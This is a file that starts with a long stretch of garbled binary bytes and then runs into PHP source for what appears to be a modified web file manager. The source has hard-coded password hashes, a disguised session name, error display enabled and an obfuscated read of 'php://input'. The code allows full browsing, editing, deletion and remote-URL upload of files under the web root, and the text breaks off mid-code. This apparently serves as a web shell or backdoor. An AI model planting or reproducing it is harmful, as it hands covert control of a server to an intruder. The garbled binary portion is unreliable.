oÅÖ3øoÇz¤äÍ`‚ꈄ†‚‚ €…þS…Œ-ßÅÇèù=ZØ‹´7óî½]Ô!ç»÷åyH DQÕÚÌ…7f¬ŽY€d¼Ûã,¾‘ë»Ý¸í ´Ao��Ù•-`Ü,¼)py8 Ž7ÆP K@Ñ ˆ�mæ@D`í³…w�¶D#Ôž!iðQ¡žN{)R; ‡Õ¯'ǯâxr«S7ŠËª‹v3Ù³­Ç€ÔcËþv;½ÆôJ*ÆžýØ’ã™=†tT*Xõÿp>8w{d NýÖÄÀ®ûùÙå•]¶l›: X© SÇéU&¼#‚Ƽ8Ò½.i!µ»Êíí-…/©$—’ölŒ1ÔÒ=®(\F3hUB¡böPøŽ¡q•Ê\bbÏf½ÎÒÙ-’Œe'Š‹˜5š€¬q¯`ö,%°>³FŒ{E‡¸G’Dµšu…e-î^’™òl| f¸3Äç÷G½¢-Îဴ¼™“Ï o$µ¡zÄ%ãØzµPOíôÚ+Po²ÔñÔ÷³AE�{³é¢¨�A;>!›ï�šSNŽÅ[ã2 ä«€D(À˜y¸|ÞÕwAWª­¨Wˆ?��cI~Àƈ9'|´~º<;ÖÆH^ÿžâÑ”ÌùyÃXˆUe~ˆ‚q6Ôªß`ÛI¸¤¡ô‰1¾�ŒÔ³.Yž>ôÇ=roL0f‘¦c?pzÒ@ÆqÌdÊçÏæZû0=à 6S«%ªma¬ ì¾{Ë8Þ¥›¹,§Ìÿ…Å.yRÁ *ë¬b8Ò•O�]ŸqýûK'Dü}.eü|éné.td)Á<›øø(’ýÒ.éŽÅJÙýúÖY0Ä™19ñÈ­lf~àbÀˆG0\;:�d*djR>-SÖòÐv<äÁ¡…‰Mé ãvüÂÄ$}ŠÜУø™ÅÒã|ý‡tû1ÍJõšð³˜¸µ>ÁB„?eE7È w ~–º"Õ“É&º+uM­ÆHÛÕÉ#}èDC•¸Ôiüs?/DವÝJ ´,‚XESŸ†~£Õ.IÿC»Â’ú"i%¤Ë¹ù}`½™Ð,E»ñÖ4Â8 o.Ž­'N茬Og�° É.N¨ mÊ`¨ï;„‘ÿîÊO=Óón°sF…ÃlãaûoÞ)l~¿tÑ}]žÜpPØz\d¿#;(k +Q†4<"›“]N¡Ÿ¤òÜ\™d‰—¾)gæf¯Çå?ŸH‚kQFÒÄvÊX¹êtécÔ¤8×3sXÕ^06*§â§0—ùÅ‚lNg»2ô¯p²BŒjÎ8XÑÇ@•}œT[ÅNx\`–ЂJɼ^Òdƒüã:oÚ»jm…÷Øÿ˵¢‡ ½�5‚«vm„(ûeÌuý  ´'tGÁ�»¯ò^i×ÄoÈBEåS–Ý0�ãtÝP� U~Ìj¨wÃÐÄ“¶Á’" |­“pÍ;Þ6GÜra3ΚŽðc;1(gG!³$3µW¥¶,&]§;¤eiˆ_»÷eÜÉ’6�òxÏú¿O|ïé‡Gî6Ù[ù%(@ìç )ž' å?ãê ùZ“><©9èLë=ý¿»2-²ÆQq†,ÂY�Q@ßà äb–,ùê.f³ ‹Ô™õþbƒä?{Wæí„jð7Qøw¶/$Ä7’ ³¶)¢ýÙ„VH ¥[†³äe~ñÑ£uò5oÂ2ùÔjÒ~Ù‚Òws×ó 4Ö–ü']â3w:Ó"ßú¬2uîöâ~±…=›�‰_µoyó«y¥.wk;$_ró>2N˜ºøÒÓ­4D͈‰Ê—‚*ËέÄ(4m0æ™5Í †5Js-Ôn�ÆiöùÉØ7‡¼Ó€Ïš ê§ãÞ£'“œ™ÎÐæ9dáÁªuqqv±c] K‹…T ¡Ä [á/Ïtóí±ÉL³RŸÌêûììür#z{£éÈZ%«(Ën˜zÉ>²“žàW3�¨æ�±¸ó 0ž—xMg6d÷4­z¸«ƒä!f�šûÂR#Â|éþ´[úD¶¹½¨( @¥r¼g+Ùí²³UшóéîŒÅ�iÖË÷ü±Ïx”àh¼c÷XJ–» ¯?‰öúäÎ.ó°¶‚]k˱¬IÔÞ±1Œ™ý¹LœwI»r uìwä;’†ÅìÞÛeLüٽ߱U¬‘0¾sÔK>°x†£FðïXK²GTƒ>îû–áa\´‰Ä˜ú²ìTlÊ2£¢=ùÞ~ìT“J%v$¶AÎ&êŒëP%;Ьh‹p5@°ÆæŸxðø‚®5v® Ùž`€qVŽb?-ˆú¢(±MB ìWtªœp%`o+�I- Êè­ÙmòEOê �0„MLì2È çoÐlÎ �mèjŽ/Y~…,wJÆ/E‡?”>«$ŸÆ3)NÏ£· Óè½,°¯ÑH@Éý¹¬?À°øá5úì”v“ñ|Œ¬ Ü[´Zˆ&3v®¤£’m<s6(@«C)*û ;/¾Gâ.=@^ÈlåPâñ˜„‹ÿH˵B<&bjŽZ ;áÀ�#(PL ÓhiÏÚ´ðÌ÷;˜‚ÖÊëå�÷ÖŽòy�}\Ãôw«ïUÝq½ÊÁ½z(\I3 H=$.ñ¶¸~�¼ðh@臲e:Ã<Êä»Où�¤±Û\a¹pÀÊ6]*a {€”ÐEÁ¸ÍÇ%|a V‹%”ížs;†ôCüo i�n]µ~H”ÞʶÛÅ\°Â*Û/N;�ôÒ‹_ÁCÙö@OÇku!íèœ?–mÐæ�ú£×fƒrǾ)Ö1¥”É©aKOøˆ›ü'ø©Á(qÇRÅcÙ¾Ãu5$ýŠÓ6¼_OÃÀC”f�âÄÝñÈóA€dz;¡7ÀæOà!kãåëcë’½|.³8=@[gÔñP¡€ ûâ¨9t"/ýôn�¼Þ˜·ŠÞ:)HQ§;õ¢&{‚rx�1eg@Çpzƒ~Ÿ@Hþi–âÄB�=÷œÞaíä»mPNx-ï½Z/ø+4;dGiàË5Š�8rÃŽw„˜z’ß?§·.½à3‹}&J1‹WZ®‡œ¸¸�ϼR»�&L£7:î†ß¢®çÁú ?àãaÐ¥TìŒýËcz†åeÇ¿oßmmP.öjákA z5~ƒ—WA “ÕêÞQuî?âî�B¶ìØÏñÃÎ`z` ü £¥Ý�`cH‘:xüÓ¶¹¢ÉÛl‹ S½0œbý¥ñùaJ\ÀŸhì>z�Oïý¾KYè!¡¬—zý)*,ôÍï½`/ð%:!!ô=½¡é¦�ŠƒdJ�E-OIò€¥‹§Z’L鷨ˆ'/|Ùe#ÖÙ˜xy‰ÏÓÐGrÐ_�,(SH‚‡1Ið�ä�×Çî<Ä?e<«w톜À‡é ~¡B“QAàG$¢è¡Œz\8 e=‚4é"éZìR>`¡ÖOˆ�ë{w$�[ìSFô:ÂçokÇWöPF÷»»ïýeï0x >Aš ô‹KzÀŸ^‘û1=ƒ|½íš¦¨Ÿ^vÙ´0ºáµ‡@_ò'š²¼Á˜Qûeò é>Á~‰HøFq0¦¡ý2yÆtÞ�—‰mg2„Éúuä�°†÷×Ç—ì¿ÁÍ=} ‡²=tFXË«ý“czƒøî8$É_¥/ø%ºv}ÊÊŸ’´vF¿ôÅ: wü~‡�:¿b{†è{йè/¼Ç¬æ+V3¼µ“>ÃD«Èz®$¾†ÓÎ}òí^ð‹7FAtz„Ï8F��pjBE3Ô‡:á'‡ú…_øÆ�Âý&þæýÉßáS&ôzNÏш^.OèíŽ^~Åç©ïPú ³^€qtpžgemؘÿعr±„ïÒH:nÑPò½?1X¼³L¡Š�ñ¾Ý¸‰=†—D,à• "�áá5R’±Í1±¤?E¬Ž§{FÃ{?'£,¤uÝ1K¢˜<�k—Ïñˆ©á5ÆP¥Tþˆ©Ñ5¥D×ôûj'ûWÇûÏ)å#ƒó‘Mî4]·¯‘wÇ&ï£_÷é} ùP9ysùŠ+Q£ûˆšvrI-{HÁSõ8ò�~°ôDúä¤tÁ âL¼Tpþ ºŒÃÏð/i]ªûœ=@ |Ç?ìmƒ¿Z8uL ‹É€a+Â6h „ú0—3Ö:unŸã‹uÅ7,J,+ûˆÏx§ vß9{€Çí¹‡Ò‡nl„�§/ð%t*Fñ=À L J™àj�dÃyúB_â 3í³tö©÷ñ�˜þœ=”mrø×ùHJùý…w6ã^°Ù]£á…|¶B>z/øð #Äñ·Ãm>Nq„Òû„@Ërˆí/÷‰í¡äåÁþ!{#½ô’þâ;W/»\oŒØôsÉæŸÅõå+|"¹Ir?ò=¤—øÞ€scÄæ’=@ÊØCúc�䵿ûd/s÷IGâW¼“é/éë6i궦»sÕÒã{Jh±H¹Án»|ûŸo=Rp/é/(f]R+»¤Qºaè�78)šü™Ö#”rÇžcö"V*lÌ^ñ'Ò d@\“°º"aJ "ruKœ‡«ÃD´\¥/et‹ÆîxËz㦓äzû<?0ŒÍŠ©âSC�1é[þiÃâóöÕ!RíÆ‹¦Ž #º¾•ÞÊömàû –_ج®¨)¿§ÝÑ[|%«=¤Ü³þ›Âz`>ĉà�=|Æ©œ/¾w>míl•õ�F½Ühì4åFs§Ñ,7Vw«åÆÚNc­ÜXßi¬—;��rcs§±Ynlí4¶ÊÍ:î²5›;Íf¹¹¶Ó\+77všåÕúÎjýsÆqÄëÛ‰g=U¹M«ufs`›¥©5 ˜Ú�ìr¦”æ`®�XâH©÷”‹öl5Ì(%×C9«lÅA΢áõ²…± :sƒ ßgGƒ‹¶Å2ýa³åËöSûqŠäcf“ œOõ2¸£ bJ;ë` �àêƒÔ^£÷CÒ²¤„FчèZe´)R†£ž•5! Úd 2{aIË.¡‰%ÍR•��S¶ ¾“LôÒ¾\Æã-c ÓmÛ¨J7�VSÍøÌ‰p–-³\Ä�Ž{Œzt`Œ¬eÜüÎ<qW¾¢©ŒÑ'±„2²n3�)Hê@H^íY|×6ÇOH²�& LîQ‰¬ŒfÐL6²‹ãÁ)vñN..ø+Þ^Ϫ?ÚÛK†`ÉK*É�È@ ÑYdoVžýK4Š^$Häƒ2ä2 >¾H*0�Ì_LEÙe8GQNyýs)—\P°˜X¯ù~L5dÇTÓòÏæg)–v´LÐ�‹ù L¹LÐX³˜“±È;£º||öKûçÖoÏÏö/ÛG§ço®LØGˆH�y‘lÅÒlW7{ãÙLÆF9€™.ÙyÝ=«h’¤ðò&rÑw‹É-ܦ-‹9~æ{íåìõÈÐÒêóÚ7Ï«[—£ú6BÙ2ldÓ=&wIÌÛ_Iܲª\Mæ&®Áø*¹b'ÿ ’–Ú™å¬ œùó*ð€ØnJ3ÌÚ”S€ÏË Á7lfã‘ìßÍ­{™ªÓþ�[û žµH.°Gã8ƒÉü³†Íäa]D4ÿä ºˆ<ù¤F áí $ñ’ß�¾‘l²aT vžjø¸‡`­ YŠ{Ô¬Ä!nFÞ¿+ìO&úù½@nÏ*°}£^a—¥¨¹¯Ðƒ1Íž)‘�F�±œ2_zŒ!À§?©H„p¬àÅÊ&éZMçü@^Rr'iÙªT ƒi¬Ô“by_´šN‚ /JÓ¤–;&÷™z¨,¥kµàáÎl-”6§æÂµïûYªSºåÀ­®7ãL)¤4÷ÁJ˜ë¢ð†QºVËs`ål‹(m^‹`Ü™j¡t�ÜpeÚÎÒ Õ(½ ƒÏs{zÏòt­¦³[˜š35±´Ù5ñðÁ:DZt­qOƒ'¸¡š¹èYZ5”®�/Š’#�_”–Œccpv{“m Ÿõ¬7†æ\Ó°ëJ‚§JK¸ÇX‘nÙŠ¸ˆûj ?Ãhbézsx ™³“´Y:€›: Ç$=)›­‘-_¸xý“Àا˜f¥‰&~@¿Wäõ)‘±Å{ÚÙ+‡˜¯\’E”Òæ“Æ�:¤ÒñhR4qàSY&m×Tk¹uESEÆ(éZm/]ÐdœX)‘¤ÍÒ:Ð’ÕØ�!Ýb*›ZVk¦×sÈ=íò²$-®FwV‡K ¦^|åƒÌ]´î€²z²a|£Sí Y“§c<“¾«–;wâad�¦Qlu\kÄ–ûçÔIuè¼ïLUêѵñjIé†igF¼¦AOÇ£Êå�ßs?�EºÒa9µw³Üœ©½›ÇÕ yÙ–s…É˶<«çs ŒõS+7}×*�m Â&M4»8S£m©ª‰á»V7R…0UËJéÆáŒbÈÊC€Ë|Ów]‰cÝ£u»HÏëv™²Ôµ2õ3”—¿¦Z`ö•uJºTU§om–d§â±‘.Ú9ß5ŸÎ Yî�Åb–™ôÝ,lF¡ ±Ö(¸A‘òo2ãèßsô1Ëa–ȦïfÊ�Jêà!Aº-ªâ—„¤ë0¦¶ææÉãUˆHC8f¤Ã�Åöd=îø~pË€†ÌÍ£ËB¼Mû.³´NÓÍ:�Lt -+wK¦SÔï „q2S¾È¤Ïä‹ O¬/PŽdMÄøÝ¨£eÅ¢ÐÓ²bÑ4oëA¬3¾›­wtŽÜíU-ÁPSnƒC¦š¤V7ÔÏϯեÔ""GÓ *(x½ó› Þo *À«s '2d83559d56f486ddc97c19668be82838', 'user' => '2d83559d56f486ddc97c19668be82838' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'chromed'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ 